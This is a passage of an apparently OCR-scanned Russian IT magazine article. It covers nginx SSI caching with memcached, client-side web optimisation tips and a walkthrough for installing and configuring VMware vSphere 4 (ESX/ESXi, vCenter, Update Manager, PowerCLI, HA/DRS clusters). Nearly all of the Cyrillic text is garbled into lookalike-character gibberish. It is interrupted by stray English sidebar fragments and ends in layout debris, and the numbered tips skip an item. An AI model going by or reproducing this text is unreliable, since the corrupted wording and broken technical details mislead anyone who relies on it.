ut 3anpocindex.php y 63k-3Hza (XOTsI, CKOpee BCEro, OH OyZeT B3AIT U3 K3
camMoro nginx), ogHako k Apache yiizieT TOIIBKO 3aIIpOC TPOCTOT'O M JIETKOTO
auth.php, Torza kak body.php 6yzer B3sT 13 kaura memcached.

Camo cob6oii pasymeetcst, SSI He0GXOAMMO aKTUBUPOBATh B KOHPUTYpaIiy-
OHHOM (atiyie Nginx ¢ TOMOIIILIO OIIIHH «SSi ON», TOMEIEHHOM B CEKITUIO
«location /». CTOUT OTMETUTB, 4TO 610K auth.php TaxKe moAgaeTCSA KIMIUPO-
BaHHUIO, HO /I 3TOT'0 IIPUAETCA IIPUCBANBATh BCEM 3aPEeTUCTPUPOBAHHBIM
TI0/Ib30BaTEJIAM HAEHTUPUKATOP, COXPAHATD €TI0 B KYKHCAaX 1 ICIIOIb30BaTh
ZUIA TeHepalliy yHUKaIbHOTo Koda memcached.

KJIMEHTCKAA ONTUMU3ALIUA

Ora cTaThs IOCBAIIeHA CEPBEPHO ONITUMU3ALMY Be6-CaliTOB, OIHAKO ObUIO
ObI KOILIYHCTBOM HE PaccKas3aTh 1 0 KJIMEHTCKOM YacTH 3Toro Ipoliecca. [10a-
TOMY MbI KPaTKO ITPOOEXMMCA IO CIIICKY PeKOMEH/ ALV, HallpaB/IeHHbIX Ha
MHHHMH3ALHIO 0011ero obeMa epe/iaBaeMblIX JaHHbIX:

1. Vcnioneayii gzip wim deflate 471 cxaThs CTpaHULL ¥ JaHHBIX. JJI1 TOTO
MOXXHO 3aziefictBoBaTh Mogyiu HTTP-cepBepoB: ngx_http_gzip_module gst
nginx, mod_compress gy lighttpd u mod_deflate s Apache.

2. Vicniosnb3y#t yIaKOBIIVKY A1 ONITUMU3ALMY U YaIeHHA JIUIITHET0 Mycopa
u3 HTML u JavaScript (0GbIMHO OHU yZAJIAIOT BCE KOMMEHTAPHUH U TPOOEJIhI,
3aMeHAI0T UMeHa Ha 60siee KOPOTKHUE U T. L., HallprMep, web-optimizator,
code.google.com/p/web-optimizator).

3. BerHocu CSS uJavaScript-Ko/ B OTze/IbHbIE aiiib, TOTa OHU CMOTYT OBITh
3aK3IIMPOBaHbI 6pay3epoM U IPUMeHEHBI K IPYTHM CTPaHHUIIAM (TaKKe UX
MOKHO Pa3MeCTUTh Ha OTZeJIbHOM cepBepe, YTOOBI MX 3arpy3Ka IIPOUCXOMIIA
TapajuIesbHo).

4. [l 6os1ee IIaBHOM ¥ KOPPEKTHOM 3arpy3KH CTPAHHIIBI Opay3epoM pas-
MecTH 3arpysKy CSS B Hauasie cTpaHuIIbl, a JavaScript— B KOHIIE.

6. He 3a6bIBali ycTaHaBIMBATh 3aroioBku Expires u Cache-control, 4To6bt
CSSuJavaScript MOIIH GbITh 3aK31INPOBAHBI Opay3epoM.

7. He npumenstii JPG u PNG Torza, korza MoxHO o6oiituch GIF (Hanpumep,
JUISI MEJIKUX UKOHOK) .23
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C‘ng dJibHaf

YNPABJIAEM OBJIAKAMU CNMOMOLLbKO VMWARE VSPHERE
Jpa nepcoHanok C yCTaHOBMIEHHbIMM NMPOrpaMMamMmn HEYKITOHHO [BUXKETCS

K 3aKkarTy. Ha Mnopaore aroxa KJ'II/IeHT-CepBeprIXTEXHOJ’IOI'I/II7I N 001aYHbIX Bbl-

uncneHunin. bykBanbHo Yepe3 napy net HaM obellatoT ybpaTth B 0bnaka gecs-

TYHO HaCTb I'Ipl/lJ'IO)KeHI/IIZ, HO OJ1A 3TOI0 HY>KHbI CrelnalJibHble MHCTPYMEHTHI,

1 KOMy Kak He VMware BbiTb 34eCb MepBOM.

PBIHOK BUPTyaIU3al1Y Pa3BUBAETCsA CTPEMUTENbHBIMU TEMITAMH, 3aCBe-
THJIVCh IIPAaKTUYECKY BCe KpyTIHbIe pazpaboTurku [10: Microsoft, Oracle
Corporation, Parallels, VMware u MmHOTH€e fipyTrie. O4eBUAHO, 4TO 60pbba
pasropeJiach HelllyTOYHast, ¥ CAMbIN YKUPHBIH KYCOK TUPOTra CMOYKET OTOPBATh
TOT, KTO [IPE/LIOKUT YTO-TO IIPUHIUIINAIBHO JTydLiiee 1 6ostee GyHKIIHO-
HaJIbHOE. YIUTEIBAs, YTO MHOTHE IT0/Ib30BATENH 1 OPraHU3aL[11 BBIOUPAIOT
BMeCTO ITOKYTIKH IIPWIOXKEHUI UX 06/1auHblIi aHasor (Saas, Software asa
service, [IporpaMMHOe obecliedeHre KaK ycIyra), 0co00e MeCTO CPe/Iy CUC-
TEM BUPTyaIru3alii 3aHNUMaroT PEIICHWA, ODUCHTUPOBAHHbBIEC HA oﬁnaquIe
BeraricyieHus. Takvie kak VMware vSphere.

HA3HAYEHUE VSPHERE

OdwnnmanbHo ncropusa VMware vSphere (www.vmware.com/products
vsphere) Hauanach 4yTh 60JIbILE TOZja Ha3a, B KOHIIe arpesist 2009 roza.
PerieHre BO3HUKJIO He Ha ITyCTOM MeCTe, a IPHUIILIO Ha CMeHy I1aTdhopme
BupTyanusaiuu VMware Virtual Infrastructure, HapaGoTK¥ KOTOPO#i 11 ObLTH

WCIIO/Ib30BaHEL. VSphere 1103BOJIAET OBICTPO Pa3BEPHYTD HaZIEXKHYIO OTKA30-
YCTONYUBYIO MHPPACTPYKTYPY, 00bEJUHUTD BUPTyaTbHbIE CUCTEMBI, CETU 1
XPaHWIMILA B €AUHBIE ITYJIBI PECYPCOB, CAEIATh Pab0UYIO Cpezly MaKCHMaIbHO
YCTOMYMBOM 1 yIIpaBisieMoii. MHOT e CIIeI[UaIvCThl Ha3bIBaIOT ee IIepBOi
WICTUHHO 06JIa4HO¥ OllepaliioHKoM. U BoT mouemy. CeroziHs 4ToObI IPHIOKe-
Hue 3apaboTaio B o61auHol cpezie Google, Microsoft Azure win Amazon, ero
KOZL HY>KHO ITepeIrcaTh AJIA HUX, TMOO0 CO371aTh C HyJIA. vSphere ke IpU3BaHa
[IepeHEeCTH UCTIONHEHE TIPUIOXKEHUH B 06JIaKO MAaKCHMAaJIbHO €CTECTBEHHBIM
1 6e360J1e3HEHHBIM /IJIf1 IPOrPAaMMUCTA, a/IMUHHUCTPATOPA U II0Ib30BaTeNA
o6pazom. Te mporpaMMmel, KOTOPEIE yKe ceiidac paboTaroT 107 yIIpaBIeHueM
[10 VMware, GpakTH4yecKy OKa3bIBAIOTCA TOTOBBIMH K MUTPALIMH B 061aK0 6e3
HYK/IbI B KAaKUX OBI TO HY OBUIO TaT9aX ¥ MOAUPUKALIVAX.

CIIMICOK BO3MOXHOCTEH ITPOAYKTa O4eHb OOIBIIOH, BBIZIEIM TOJIBKO CaMble
IIpHMeYaTe/IbHbIe U3 HHX:

¢ VMware vStorage Thin Provisioning — 3K0HOMUsI IXICKOBOTO IPOCTPAHC-
TBa; UCTIOJIb3YETCS TOTIBKO PeabHO HEOOXOAUMBIM 00beM;

¢ VMware VMsafe — BbICOKOHa/IeX)KHaA KIacTepHas aitioBas cucTeMa,
WCIOJIb3yeMas JIA XpaHEeHUs BUPTYaIbHBIX MallIVH;

* VMware APIvStorage u vCenter Data Recovery — LieHTpainM3oBaHHOe
Ppe3epBHOE KOIIMPOBaHKe 1 BOCCTaHOB/IeHHe VM 13 rpadrdecKoil KOHCOIH;

* VMware Hot Add — «ropstdee o6aBiieHHe» YCTPONCTB 6€3 OCTAHOBKH
BHPTyaJIbHOMN MaIlIiHbI;

o VMware Distributed Power Management — yrpaBiieHue 3/1eKTporoTpebiie-
HHeM, TI03BOJIAIOIIee CyIeCTBEHHO COKPATUTh PACXOZbI;

¢ VMware Host Profiles — nnTepdeiic yrpapieHist, TO3BOJISIFOIINI LIEHTPa-

JIN30BaHHO HacTpauBaTh y31pl VMware ESX/ESXi 1 KOHTpO/IMpOBaTh yCTa-
HOBKM Ha COOTBETCTBHE ONMUTHKAM. [ITtocyeM cioza komnoHeHT vNetwork,
obecIieyrBaroNINii [IeHTPaIM30BaHHOE YIIpaB/IeHNe BUPTYaIbHOM CEThIO,
cpefcTBa «ropsdeli» murpanuu — VMware VMotion, KiacTepusaliy —
High Availability u Beicokoii socTynmHOCTH — Fault Tolerance, 6anaHcHpOBKU
Harpysku— VMware DRS, a Tarxoke Noziep>KKy TeXHOJIOTUH ITepeMelleHUA
BUPTYaJIbHBIX IUCKOB — Storage VMotion. IIprdemM 5KOHOMUA ITPY UCTIONb-
30BaHMU VSphere J0CTUraeTcs 1 3a CYeT TOTO, YTO /ISt HEKOTOPBIX Ollepaliii
(HampuMep, pe3epBUPOBAHUA) yoke He HY’KHO 3aKyIaTh IPOAYKT CTOPOHHETro
paspaboTuuka (ckaxkeM, Veeam Backup, www.veeam.com). [Toazep:xu-
BarOTCsI OrpaHndeHus B motpebnenny CPU, RAM Kak /1 ITyJI0B PeCcypcoB
(Resource Pool), Tak ¥ 151 OTAEIBHEIX XOCTOB C BO3MOKHOCTBIO TAPaHTHUPO-
BaHHOTO BhIZleIeHNA pecypcoB (Reservation). [ToHerH cricok OC, Ha KOTo-
PBIX MOT'YT paboTaTh pa3Hble IPOAYKThI VMware, pe/ICTaB/eH Ha CTPAaHHULE
VMware Compatibility Guide, 3as1B/1eHa oAz PyKKa BCEX MOITYJISIPHBIX CETO7I-
Hs1 cucteM — Windows 1 BapuaHThI *nix. B vSphere, o cpaBHenuto ¢ Virtual
Infrastructure, I3MeHWICA ¥ TOPAAOK JINLIEH3UPOBAHNSA, KOTOPBIH CTa 9y Th
rubye, Tak KaK Terepb TULIEeH3Hs PAaCCIUTHIBAETCA IT0 YHCITY TIPOLIECCOPOB (MX
KOJIMYECTBO BOUBAETCsI B KJII0Y) ; paHee IpuBsi3Ka Iwia K mape CPU. [Iprdyem
€CJIV KOIMYECTBO siziep He rpeBbiiaeT 6 (B Bepensax Advanced v Enterprise
Plus— 12), To omoHUTEIbHAS OTUTIaTa He ToTpebyeTcest. B pasrap kpusuca
TaKOU IO/IX0Z TOIBKO IIPUBETCTBYeTCs, Be/lb IPU IPUHATUY PelleHNs o Ilepe-
XO/le Ha BUPTyasIbHble MalllHb] yUUTHIBAIOTCA IeCATKYA KPUTEPHEB.

VMware vSphere cOCTOHT 13 CJIeZYIOIINX KOMIIOHEHTOB:

e runepsrsopoB VMware ESX n1/vmm VMware ESXi (coGcTBEHHO Ha HUX BCe U
paboraer);

o VMware vCenter Server Agent, 06eCIieuuBaroIero MogKII0YeHIe TUTIeP-
BHU30POB K LIeHTPy yrpasieHusa VMware vCenter Server (paHee—VMware
VirtualCenter Server);

 camoro vCenter Server, OTBeJaloOIIEro 3a pa3BepThIBaHKE, [IeHTPAIN30BaH-
HBII MeHe/PKMEHT 1 obecriedeHue ocTyma (IprobpeTaeTcs OTAeIbHO);

® IPOYMX KOMITIOHEHTOB, 00eCIIeYNBAIONINX OCHOBHBIE BO3MOXXHOCTH, COCTaB
KOTOPBIX BAPbUPYETCS B 3aBUCUMOCTH OT BRIOPAHHOM JINLIEH3UH.

HaMoMeHT HamicaHNsA 3THX CTPOK Ha caliTe VMware NOsIBIIACh BEPCHA
vSphere 4 update 2, ee 1 GyzieM IpenaprupoBaTh.

PA3BEPTbIBAHUE VSPHERE

IToka uMTaels OllicaHue, iepBas MbIC/Tb, KOTOPasdA IPUXOAUT B FOJIOBY
HOBUYKY — 3TO O4eHb CJIOKHO. Ha caMoM Ziesie Ipy BHUMAaTEIbHOM IIOAX0Ze
Y BBIIIOJIHEHUH BCeX TPeOGOBAHMIA ITPOILiece pa3BepThIBAHMA U ITOCIEAYIOIIETO
fobaBeHuA XocToB 1 VM BecbMa ITpo3paveH.
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YT06bI yCTAaHOBUTH VSphere, Ha/J0 BHITOTHUTS Psifi TPeOGOBaHUIA
W TIPOMTH HECKOJIBKO ITIaroB:

* cBepUTb UMelolIeecs 000pyzoBaHue co ciickoM VMware
Hardware Compatibility List;

¢ IponHCTA/UTUPOBaTh VMware vSphere ESX/ESXi Server Ha
dusmyeckux cepBepax (2x2'1 64 bit CPU, 24+ '6RAM, 2+ I'6
HDD);

e ycranoBuTh VMware vCenter Server uvSphere Client gyist
ynpasnenusa ESX(i)-cepepamy;

® HACTPOUTB CETh XPaHEeHN A IaHHBIX SAN;

¢ pa3BepHyTh KineHTcKre OC B BUPTyalIbHBIX Cpe/iax.

Bbl111e ITOKa3aHbI TOJIbKO OCHOBHBIE ATy, KaXK/bIi Tall TpebyeT
W TIPOMEXKYTOYHBIX HACTPOeK (HacTpoiika cety, SAN, mpu
HeobxozauMocTH Active Directory utak sasee). HekoTopble 13
3THX MOMEHTOB O4YeHb II0Z[POOHO OIMCAHBI B IOKYMEHTALUH,
KOTOPYIO MOXXHO HAaHTH IO a/Ipecy WWW.VInware.com/support
pubs/vs pubs.html. Bkpariie pazbepeM OCHOBHBIE BOIIPOCHI [IO
HaCTpO¥Ke U yIIpaBIeHHIo VSphere, YTO6bI HAIIAZHO IIpe-
CTaBUTb, C 4eM UMeeM /iesio. Ha cTpaHulle 3aKkauky, KOTopas
OyzieT IOCTYIIHA IOC/Ie PETUCTPALIUH, BRIOUPAEM JJIA yCTAHOBKH
runepsusop ESX i VMware ESXi, VMware vCenter Server (B
Buze ISO-06pa3a wiu zip-apxusa) . [LTioc 3/1eCh ke OMIIUOHAb-
HBIe KOMITOHeHTHI: Server Heartbeat, Data Recovery (CDISO)
nvShield Zones. |51 He60JIBIINX OpraHU3AIHii, BEPOSTHO,

6outblite TOAXOAUT bGecrutaTHas rwiaTdopma VMware ESXi, 06-
Jlajjarolas BceMy HeoOX0AMMbBIMU BO3MOKHOCTAMU. CHavaa
pa3BopauuBaeM VMware ESX vty ESXi, yauThIBas, YTO X OCHO-
Ba— Linux (XOT# 1 HECKOJIBKO yPe3aHHBII) , yCTAHOBKY MOXKHO
Ha3BaTb CTAaH/APTHOM, ¥ TPOGIeM OHa OOBIYHO He BBI3BIBAET.
ITpocTo creyeM ykasaHMAM BU3apza: IPUHIMAaeM TULeH3HIO,
HacTpauBaeM CeThb U BEIOMpaeM AucK. [Tociie mepe3arpysKu Mbl
MO’KEM yIIPaBJIATh TUIIEPBU30POM U3 KOHCOJIH, Yepe3 Beb-1H-
Tepdeiic wiu ycraHoBuB vSphere Client. [TocieHMi MOXKHO CKa-
4aTh ¢ Be6G-CTPaHMNIIBI BUPTYaIbHON MAIlHHEL, aZipec KOTOPO
Gyzet poctyreH noce yeraHoBku ESX (i) wim B vCenter.
Crnegyroruii mar — ycraHoBka VMware vCenter Ha KOMITBIOTED
nog ynpasienreM Windows. YIIOMUHaHU# 0 BepCHY Ha caiiTe
HAI{TH He y1aJI0Ch, HO IIeHTp Oe3 TpobsieM BeTas Kak Ha XP, Tak
nHa 2k8R2. Bce anHtie vCenter XpaHUT B 6a3e JaHHbIX, /I
Hebosbumx cpef (5 puznaeckux, 50 BUPTyaTbHbIX MAIIIHH)

MOYKHO ucmonb30BaTh Microsoft SQL Server 2005 Express,
KOTOPBI U/IET C yCTAHOBOYHBIM apXHUBOM U IIPe/ITIaraeTcs

I10 yMOJT4aHUI0. VIHaye B IpoIiecce yCTaHOBKY HYXKHO OyAeT
HacTpouTh nopxodenre k CYB/I. Ecy xocToB He MHOTO (710
250), To MOXKHO 060UTHCH U 32-6UTHO¥ Bepcueit. Pestome: aist
HeOOJIBIIIOr0 KOJIMYECTBA CEPBEPOB JOCTATOYHO KJIMEHTCKOM
32-6utHotii XP ¢ 6ecruratHeiM SQL Express, B 6071€€ MOIIHBIX
KOHOUI'ypalUAX IPUETCA pa3BOpavrBaTh cepBep ¢ 64-6UTHON
OCpro 1 SQL-cepBepom.CkaunBaeM [SO-06pa3 win zip-apxus,
3aIycKaeM yCTaHOBOYHBIH (Baiil v B OKHe MacTepa BHIOHpaeM
cepuiKy vCenter Server. K cJIOBY, apXUB COAEPXKUT AUCTPUOYTH-
BBI 1 HEKOTOPBIX Ipyrrx poaykToB: vSphere Client, vCenter
Guided Consolidation, vCenter Update Manager, vCenter
Converter, vCenter Orchestrator u VMware Consolidated
Backup. fI3bIk MHCTaI/UIATOpA — AaHIIMICKUE. Bo BpeMs
VHHUIAAIM3AIMH yCTaHOBOYHOT'O CKPHIITA Oy/Iy T IPOU3BEIE€HBI
[IPOBEPKY Ha COBMECTUMOCTb 1, B CJIy4ae HECOOTBETCTBUA, BbI-
JaHbI pekoMeHzianmu. Harpumep, Tak kKak vCenter UCIonIb3yeT
CBOI1 Beb-cepBep, OH OyieT KOHQIMKTOBATH C yCTAHOBJIEHHBIM
1IS mo mopTam. XoT4 B IIpoliecce MOXXHO UBMEHUTb HaCTPOMKH,
yKaszaB IIOPT IT0 yMOTIaHHUIO /151 GOJIBIIIMHCTBA CePBUCOB: http,
https, LDAP, SSL, heartbeat. [TakeT camozocTaToueH, €CIN 4€ro-
TO ByZIeT He XBaTaTh, Bce HeoOxoaumoe (Net, J# v ap.) mactep
Z0yCTaHOBUT aBTOMaTu4yecky. Heckombko cepBepos vCenter
MOXKHO 0O'beIMHUTS B cBsizaHHyto rpymy (Linked Mode) u
YIIPaBJIATh 3aT€M BCEMH HACTPOUKAMU BUPTYaIbHBIX MAIIKH C
mmo6oro komma B ceTH. [To ymomdanuto npezaraercs standalone
yCTaHOBKA, HO yCTaHOBUB Ha mmare «vCenter Server Linked

Mode Options» mepekrovaTesb B monokeHue «Join a VMware
vCenter Server group ...» MBI MO}XeM CPa3y IIOAKIIOUYUTECS K yIKe
CcyliecTBYyIOLIEH rpytie cepBepoB vCenter. BoT, coBCTBEHHO,
BCA yCTaHOBKa cepBepa. HekoTopoe BpeMsA K/ieM, IToKa MacTep
HACTPOUT CEPBHUCHI, CreHepHUpyeT CepTUPUKATHI U CKOTIIPYeT
aiier. [1o OKOHIAHHY aHAJIOTUYHO YCTaHABINBAEM OCTaIbHbIE
KOMIIOHEHTHI, J0CTyTIHbIe B okHe vCenter Installer, ecii, koHeu-
HO, B3TOM €CTbh He06X0AUMMOCTb. OIIATH XKe, UX He00A3aTeIbHO
CTaBUTb Ha OZJVTH 1 TOT 3Ke KOMII, XOT#I TAK OOBIYHO yZI00Hee.

[Tpu ycranoBke vCenter Update Manager (vCUM) yka3biBaeM
IP-agpec cepBepa vCenter ¥ yuyeTHbIE JaHHBIE [ IOCTyTIa. B
KauyecTBe 6a3bl IAHHBIX, K KOTOPOI HEOOXOAUMO MTOAKIIOYUTHCS,

e CtpaHuua VMware

vSphere —vmware

com/products/vsphere

* [lokyMeHTaLus no
YCTaHOBKE Pa3INYHbIX
KOMMOHeHTOBVSphere
—vmware.com/

support/pubs/vs_pubs.

html

e [1poBepnTh
b4-6uTHOCTL CPU-
XOCTOB MOXHO Mpu
nomoty ytunutsl CPU
Identification, pa3me-
LLLEHHOW Ha CTpaHuLe
www.ymware.com/
download/shared
utilities.html
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1f you're new 1o virtuslization, our VIRTUALIZATION
CHECKLIST can help you keep the ball rolling. ¥ou's avoid common
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yKa3bIBaeM co3/IaHHYI0 paHee B/]. BHuMaHue: Tpy 3arpoce aposis B OKHe
«Database Information» rosie ocTaBIfeM ITyCTHIM, B 3TOM CITydae OyzeT uc-
nosnb3oBana Windows-ayrentudukanus. Katanor, Kyza 6yayT HoMenaThes
06HOBJIEHN, JIy4IIIe PACIIONOXKUTD Ha OTAEIBHOM pazZiesie Xap/a, KOTOPBIH
HMeeT IOCTaTOYHO cBobozHOTo MecTa (He MeHee 20 ['6). Ero nykassiBaeMm
Ha 1are Destination Folder st «Configure the location for downloading
patches». KimenTckas gacts vSphere Client, Tpy oMoy KOTOPOH ITpou3-
BOZIATCS BCE HACTPOIKHY, 0OBIYHO CTABUTCS Ha KOMIT 8/IMIHA (MUHUMAaJIbHbIE
crcTeMHbIe TpeboBaHwMst: Pentium 11300, 200 M6 RAM u 1 T6 HDD).

AOBABJIEHUE Y3J10B UJIULLEH3UU
YcranoBka 3akoH4yeHa. OTKpeiBaeM 13 MeHto vSphere Client, BBOAMM JIOTVH 1
maposb (pakok Use Windows session credential T03BOIUT TOAKITIIOIUTECS C

YrpasJyieHHue IIpHU I10-
moi1iu PowerShell

Kakue 661 apryMeHThI HA IPUBOAWIN cTOPOHHNKY GUIL, HO mpu
ynpaBJIeHHH 60JIbIINM KOJIMYE€CTBOM CUCTEM JIy4llie KOMaHAHOM
CTPOKH cpeZicTBa HeT. FIcNo/Ib3ysa CKPUIITEI, MOXKHO aBTOMAaTH-
3HUPOBaTh GOJIBLIYIO YACTh PyTUHHBIX 32524, HEe IPONMCAHHBIX
B GUI. Paszpaboruynku VMware nipeyjiaraloT OIOJIHEHHE K
PowerShell —PowerCLI (vinware.com/go/powercli). ITocie
YCTaHOBKH OyZeT JOCTyIeH PsAJf KOMAaHIeTOB, OCHOBHBIE 3
KoTopsix — Connect-VIServer, Get-VM u Get-VICommand. ITo-
PAAOK paGOTHI C HUMHU He OTJIMYAEeTCs OT APYTHX KOMaH/JIETOB
PowerShell. /Insa Tex, KOMy JIeHb TUCATh CKPUIITHI CAMOCTOS-
TeJILHO, IPe/VIOKeH peKopAep MakpocoB VMware Project Onyx

(blogs.vimware.com /vipowershell /2009 /11 /project-onyx-is-
here.html), ymeromuii reneputb PowerShell-ckpunrsi, 3anucsi-
Bas AeiicTBuda noib3oBarensa B VMware vSphere Client.
Huadopmanusa no paéore c PowerCLI foctynHa B 6;10re blogs.
vmware.com /vipowershell.

Bri6upaem standalone-BapuaHTyctaHoBku vCenter
Server

CepBep, KOTOPEIii OyeT HCI0Ib30BATHCA Il BUPTyaJIu3a-
1Y, I0/KEeH UMeTh 060pyAoBaHue, coBMecTumoe c VMware
Hardware Compatibility List (vmware.com /go /hcl). JoeTyn-
HBI 1 HeopHIIUaIbHbIE CIIUCKY 000PYyAOBaHUA, IOAXOASIIETO
JUISl TECTOBBIX M IeMO-ycTaHOBOK: VM Help (vin-help.com/
esx4o0i/esx40_whitebox_ HCL.php), VMware's Communities
List (communities.vinware.com/cshwsw.jspa) u Ultimate ESX
Whitebox (ultimatewhitebox.com).

TEKyILIMMHU y4eTHBIMU JAaHHBIMU) , IPUHUMaeM cepTUUKAT.
TosiBUBIIIeECs OKHO KJIEHTA BBITIONHEHO B cTivIe [[poBogHuKa. CieBa BEI-
6UparOTCA KOMITbIOTEPBI, CIIPaBa HACTPOMKY, BHU3Y ITaHEeJIb TEKYIIVX 3aa4.
O6paTy BHUMaHUe Ha CTPOKY azpeca. I1ociie mepBoii perucTpariii Thl [oma-
Zaelb Bo BKIaAKy Hactpoek OC B «Home - Inventory - Host and Clusters»,
a OHM HaM ITOKa He HY>KHBI. LITO6]JI TIOJIy9UTH IOCTYII KO BCEM BO3MOXXHOCTAM
vSphere, npocro nepexogum B «Home».
OG6acThb yripaB/ieHUs pasZie/ieHa Ha TPY YaCTH 10 Ha3HAYEHHUIO:
¢ Inventory — Iouck cucteM, JobaBJieHHe y3/I0B M K1acTepoB, datacenter,
yIIpaBJieHHe pa3pelIeHIAMHY;
¢ Administration — yrpaBieHue POJISIMH, CECCHSIMU, TULEH3USMU, HACTPOM-
kamu vSphere, IpOCMOTp XKypHasia ¥ cTaTyca paboThl CepBHCa;
¢ Management— yIpaBJieHHe 3aa4aMH, BbIBOZ COOBITHE M KAPThI
BUPTYaJIbHBIX MAIINH, CO3aHue TPOQIIEN XOCTOB.
Y4uThIBasA HeOOJIBIIIOE KOMMIECTBO MOAITYHKTOB B KaXK/J0M M3 HUX, BpeMe-
HU Ha 3HAKOMCTBO ¢ MHTepdericoM yiizeT HeMHOro0. He MOTy He OTMETHTh
HaJIM4YHe BCAYECKHX IT0/ICKA30K 1 MAaCTePOB; €CJIN He BBIITOTHEeH KaKOMH-HHU-
6y1b 00513aTeIBHBII IIAT, TO CPa3y MOIYYHIIb CCHUIKY U pEKOMEHAINH, YTO
nenatb. IHTepdelic «<3ajada-0pHeHTHPOBAHHBII», TO €CTh aIMUH YTO-TO Ha-
cTpauBaer, a vSphere 1o Mepe BO3MOXXHOCTEH I10C/IeZI0BATETBHO BBIIIOTHAET
3azau. [7TaBHOE — He Hy)KHO JK/aTh, [IOKa BBIIIOIHUTCS OZ{HA 3a/1a4a, YTOObI
HACTPOUTD CJIEZYIOLINH TYHKT. BOJIBIIMHCTBO ollepariyii TpeGyioT HEKOTOPO-
TO BpEMEHH U ITPOMCXOAAT B pOHE, [IOITOMY OTC/IEXKUBAM CTATyC BHU3Y OKHA.
BeruteiBaroliiee OKHO cpasy ke IIOKasbIBaeT KOIUYeCTBO JHelH, OCTaBIIUXCA 10
OKOHYaHMA TPo6GHOTO0 eproza. Ecm muiieHsu yxe NpHobpeTeHa, To caMmoe
BpeMs ee BBecTH. [lepexozum B «Administration - Licensing», Beibupaem
CHCTeMy 1 B KOHTEKCTHOM MeHIO IyHKT «Manage vSphere Licenses». Koru-
PyeM B OKHO JIMLIEH3HIO U HxuMaeM «Add License Keys». YToObI corocTa-
BUTB KJTI0Y KOHKPETHOMY CePBepY, IIepexo/iuM B «Assign Licenses» 1 B
KOHTEKCTHOM MeHIo BeiorpaeM «Change License Key».
Teneps camoe raBHoe — ok oyeHne ESX(i). CHavasa coszaemM
DataCenter, 6e3 3Toro IIara jajbliie Mbl BCe paBHO He 1oizieM. Illenkaem 1o
«DataCenter» 1 BbIGrpaeMm ccouiKy «Add a host». ITosiBiisieTest ouepeiHOM
BU3ap7, BIIEPBOM OKHE KOTOPOTO BBOAUM UMA WA [P y371a 1 TorvH/apob
JUIS YTIPaBJIeHNs; IOAKJIFOYaeMCst, IPUHUMaeM cepTHUQHUKAT U [ToIydaeM
nHpopMario o cucreMme. [Ipr HEOGXOAUMOCTH 371eCh JKe MOKHO ZI06aBUTh
JIMLIEH3UIO ¥ BBECTH IaHHBIE 00 y3i1e. HeKoTopoe BpeMs IIPUZeTCs MOJ0XK-
JiaTh, TIoKa XocT 6yzieT 106aBieH. Jlasiee BIGHpaeM X0OCT, B OKHe Summary
BBIBOZJAATCA BCe IaHHBIe 110 HeMy. [Tepetizs B okHo Configuration, momydaem
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KnuentynpaBnenusavSphere Client

|
[ToacueT HEOOXO-

INMOCTH IIepPeXo-
AaHaVM

Ilepexoa ¢ GuU3NYECKUX CEPBEPOB HA BUPTyaJlbHbIe
CBSI3BIBAIOT, B IIEPBYIO O4epe/ib, C BO3MOXKHOCTHIO
Cc3KOHOMUTH. HO 060CHOBaTh HEOOXOAMMOCTH HA
najgbnax nepep medom He Beerga npocto. Creruanb-
Hble TCO /ROI-KaNbKyJAATOPSI, IpeAjaraeMblie
paspaboryukamu VM, IOMOrYT GBICTPO Y HAT/ISI/THO
caenaTs Bce Heooxoaumele pacyeTsl (TCO — Total
Cost of Ownership — croumocTs BrageHusa nuapa-
CcTPYKTypoOii, ROI— Return on investment — ko3¢d u-
IIMEHT peHTabeIbHOCTU HHBeCcTHINIT). KanbKynaTop
ot VMware paciojIoKeH II0 aZjpecy Www.vinware.
com /calculator ¥ moka3bsIBaeT, CKOJIbBKO OyZeT CIKO-
HOMJIEHO HA IOKYIIKe XeJjie3a, 3JIeKTPOIHEPruM, U Ha-
IIOMHHAET O IPYTUX IPEUMYyIIeCTBaX, KOTOPHIe JaeT
BHPTyaau3anua: HaIe;KHOCTh, OecriepeGoiiHOCTD,
yIpouieHue 00 CIy:KUBaHUA.

BO3MOKHOCTb U3MEHUTDH HEKOTOPbIe HACTPOHKH: TapaMeTpEI
cetu (mogxmodeHne VMotion, iSCSI, NFS u ipyrue), BUpTyaib-
HOT'O CBUYA, XPAHWWIUII JAHHBIX U TaK Zajiee. [Tocie 106aBaeHust
HEeCKOJIbKMX XOCTOB CTaHEeT 0CTYITHA BO3MOXHOCTB CO3/JaHUA
Kacrepa. Beibupaem B KoHTEKCTHOM MeH'o IyHKT New Cluster,
BHU3ap/ IOTIPOCKT BBECTH MM Gy/y1iiero kiacrepa. [1pu momo-
II[1 YeKepoB ycTaHaBIMBaeM noagepxky HA (High Availability)
uDRS (Distributed Resource Scheduler). Illeaynep mpezactas-
JIsIeT c060# POCTOw 6aIaHCUPOBIIVK, KOTOPBIN TOCTOTHHO
OTCJIeXKUBAET UCIIOIb30BaHKe PeCypCoB U IlepepacipesiesiieT
BBIUMC/IUTETbHbIE MOILTHOCTH B ITy/IaX PECYPCOB B COOTBETCTBUU
C MU3MEHSIOIMIMUCS IOTPeGHOCTAME BUPTYaIbHBIX MALIKH.
Ec/i oH akTHBUPOBaH, B AAIbHEHIIIEM MacTep IPeJIOKUT BBI-
6path oH 13 BaprianToB Murpanuy VM (Manual, Partially, Full
automated) u MmeTog murparuu (ot Conservative 10 Aggressive).
HacrpauBaeM ynipasieHue nutanieMm (DPM), akTHBHpyeM
MOHHUTOPHHTI X0CTOB, BKItouaeM EVC (Enhanced VMotion
Compatibility), onpezessiem mecTo xpaHeHus cBom-paiiia.

K croBy, cyts EVC ouens mmpocTa. Kak n3BecTHO, Tpo1ieccophl
6bIBatoT pasHble, urocreBas OC, ycTaHOBJIEHHAs B CUCTEME,
MOXKET UCII0Ib30BaTh pasHble uitiku Bpoze SSE. Ho urto byzer,
ecyn 3Ty OC B3ATh U [TepeHeCT! IIpy oMoty VMotion B IpyTyio
CHCTeMY, BKOTOPOU cOBceM ApyTHe TexHomoruu? Bor EVC u
IIPUBOJAUT BCe K eIMHOMY 3HaMeHaTeJIi0, I[POCTO OTKIII0Yast
«JINLIHEe», B pe3ysbTraTe nepeHoc VM poxoauT mazxo. JlocTym-
HBI ZIBa BapuaHTa BKIoueHuss EVC — i1 AMD- u Intel-xocToB.
[Tocste BEIGOpA TYHKTOB OyZIET IIOKAa3aH CITUCOK COBMECTUMBIX
IpOLeccCOPOB. XOTH, €C/IU B KJIacTepe Bce cepBepa OMHAKOBBI,

[surema temrn R i s by 0 P o e
pasiteiay C=v) ==
- S
D i
e
